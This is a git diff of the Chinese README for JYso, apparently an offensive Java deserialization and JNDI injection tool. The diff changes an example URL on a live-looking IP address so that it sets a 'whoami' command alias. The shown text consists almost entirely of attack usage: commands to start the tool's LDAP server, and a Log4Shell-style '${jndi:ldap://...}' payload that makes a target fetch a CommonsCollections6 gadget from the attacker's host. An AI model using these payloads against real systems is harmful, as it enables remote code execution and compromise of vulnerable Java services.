diff --git a/JYso‐CN.md b/JYso‐CN.md index 2258de0..cb6023d 100644 --- a/JYso‐CN.md +++ b/JYso‐CN.md @@ -30,6 +30,8 @@ java -jar JYso-[version].jar --jndi -i 127.0.0.1 java -jar JYso-[version].jar --jndi -i 127.0.0.1 -u "dc=ex" -p "123456" ``` + + + 对于BCEL这种超长请求,可以从http处取参,来减少请求长度 先发http请求参数,在发jndi payload @@ -37,7 +39,7 @@ java -jar JYso-[version].jar --jndi -i 127.0.0.1 -u "dc=ex" -p "123456" ${jndi:ldap://127.0.0.1:1389/Deserialization/CommonsCollections6/sethttp} ``` ```shell -http://111.229.10.212:3456/setPathAlias?a=Deserialization/CommonsCollections6/command/Base64/d2hvYW1p +http://111.229.10.212:3456/setPathAlias?a=whoami ``` ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230705100008.png)